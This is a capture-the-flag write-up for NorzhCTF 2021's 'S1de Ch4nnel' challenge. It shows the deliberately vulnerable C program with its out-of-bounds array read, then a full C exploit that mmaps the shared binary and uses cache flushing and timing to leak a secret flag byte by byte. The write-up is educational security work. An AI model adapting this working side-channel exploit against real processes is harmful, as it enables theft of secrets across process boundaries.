Introduction
S1de Ch4nnel was a challenge at NorzhCTF 2021.
You can download the challenge here and my commented solution there.
Challenge presentation
When we ssh into the machine we are given a binary chall
and the corresponding code main.c
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <x86intrin.h>
#define PAGE_SIZE 512
#define FLAG_SIZE 28
#define DEBUG 0
const char the_array[] = { [0 ... 256 * PAGE_SIZE] = 1 };
const size_t baby_array_size = 16;
static char secret_value[64];
static char baby_array[] = {
1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16
};
int victim_function (size_t x)
{
int y = 0;
if (x < 100) {
y = the_array[baby_array[x] * PAGE_SIZE];
}
return y;
}
int main (void)
{
for (size_t i = 0; i < baby_array_size; i++) {
baby_array[i] = i;
}
FILE *fp = fopen("./flag.txt", "r");
if (fp == NULL)
{
perror("Error while opening the file.\n");
exit(EXIT_FAILURE);
}
fgets(secret_value, FLAG_SIZE, fp);
if(DEBUG){
printf("Flag : %s\n", secret_value);
printf("Baby_array to secret_value offset is %d\n", (size_t) (secret_value - baby_array));
}
char buffer[64];
size_t x;
int i;
int nb_read;
/* Make the access to the secret value faster*/
__asm__ volatile("lea %0, %%rax\n"
"movb (%%rax), %%al\n" ::"m"(secret_value)
:);
while (1)
{
memset (buffer, '\0', 64);
printf ("Please give me an int : \n");
i = 0;
while (i < 4) {
nb_read = read (STDIN_FILENO, &buffer[i], 1);
if (nb_read == -1) {
exit(1);
}
if (nb_read == 0) {
return 0;
}
if (buffer[i] == '\n') {
break;
}
i++;
}
x = (size_t) strtoul (buffer, NULL, 10);
x = victim_function (x);
}
return 0;
}
The program starts by initializing a few global arrays:
secret_value
, in which the flag is later copiedbaby_array
, a small array of 16 charsthe_array
, a 256 pages long array initialized with all ones
The program then enters a loop where it prompts us for an int and calls the victim_function
with the provided value x
as the argument.
This function simply accesses the_array[baby_array[x] * PAGE_SIZE]
and then returns. There is an obvious out of bounds access as baby_array
is only of length 16 while x
is allowed to be up to 100.
To see how we might exploit this, let’s check what lies after baby_array
in memory:
Sure enough, the flag is close by. Specifically, it starts 48 bytes after the beginning of baby_array
.
Exploitation strategy
If you want more details I recommend reading the original Spectre article as this is pretty much a simplified version of the attack (without relying on speculative execution).
We start by flushing all the pages of the_array
out of the cache then ask the program to access the_array[baby_array[48] * PAGE_SIZE]
. Remember that baby_array[48]
is the first byte of the flag. Let’s say it’s an ‘N’ which is ascii 78, this means that the page 78 of the_array
will be placed in cache.
We then measure the access times to the_array[i * PAGE_SIZE]
for i
between 0 and 255. Accessing the_array[78 * PAGE_SIZE]
should be faster than the others since it is a cache hit.
Doing so we can deduce the value of baby_array[48]
which is the first byte of the flag. Repeating this FLAG_SIZE
times we leak the whole flag.
Cross process Spectre attack
But how do we access and time the_array[i * PAGE_SIZE]
for arbitrary values of i
?
Remember that the_array
is an initialized const variable so it is placed in the .rodata section of the binary. If we mmap the chall
binary file in the attacker process’ address space and execute chall
at the same time, this memory will be shared. This means that it is backed by the same physical RAM and subject to the same cache hits / misses in both processes. This allows us to do the measurements from the attacker process.
Exploit code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <x86intrin.h>
#define PAGE_SIZE 512
#define FLAG_SIZE 28
// Might need to change this depending on your 'chall' binary
#define CHALL_FILE_SIZE 0x24ec8
// objdump -d ./chall -j .rodata | grep "the_array"
#define OFFSET_TO_THE_ARRAY 0x2020
const char *the_array;
static void *map_file(const char *file) {
int fd = open(file, O_RDONLY, 0666);
if (fd < 0){
printf("Failed to open file");
return NULL;
}
char *mem = mmap(NULL, CHALL_FILE_SIZE, PROT_READ, MAP_SHARED, fd, 0);
if (mem == MAP_FAILED) { perror("mmap"); exit(-1); }
return mem;
}
void access_value(char x) {
/* Wrapper to prevent optimizations */
(void)x;
}
/* Measure the access time to the_array[i * PAGE_SIZE]
* for i in [0, 255] and return the value of i corresponding
* to the shortest access time
*/
char get_min_access_time() {
char best_candidate = 0;
int min_time = 99999;
for(int j = 0; j <= 255; j++) {
// Access in 'random' order to prevent stride optimization
// which can distort the timing results
int i = ((j * 167) + 13) & 0xff;
//int i = j;
int before, after;
before = __rdtsc();
access_value(the_array[i * PAGE_SIZE]);
_mm_lfence(); // Makes sure 'after' is measured when 'access_value' is done
after = __rdtsc();
uint32_t diff = (uint32_t)(after-before);
// For some reason the leak is less accurate without the following line
fprintf(stderr, "Access time : %c : %d\n", i, diff);
if(diff < min_time){
min_time = diff;
best_candidate = i;
}
}
return best_candidate;
}
/* Leak the char at baby_array[index].
* We do it 10 times and return the char with highest score
*/
char leak_char(int index){
uint8_t scores[256] = {0};
for(int i = 0; i < 10; i++){
// Flush the cache
for(int j = 0; j < 256; j++) {
_mm_clflush((void*)(the_array + j * PAGE_SIZE));
}
// Make the victim access the_array[baby_array[index] * PAGE_SIZE]
char buf[4];
sprintf(buf, "%2d\n", index);
write (STDOUT_FILENO, buf, 3);
scores[get_min_access_time()]++;
}
// Find the char with max score
char leaked_char = 0;
uint8_t highest_score = 0;
for(int i = 0; i < 256; i++){
if(scores[i] > highest_score){
highest_score = scores[i];
leaked_char = i;
}
}
return leaked_char;
}
int main(int argc, char *const argv[]) {
char leaked_flag [FLAG_SIZE + 1] = {0};
the_array = (const char *) (map_file("./chall") + OFFSET_TO_THE_ARRAY);
for(int i = 0; i < FLAG_SIZE; i++){
leaked_flag [i] = leak_char(i + 48);
}
fprintf(stderr, "\nLeaked flag : %s\n",leaked_flag);
return 0;
}
Here is the final result: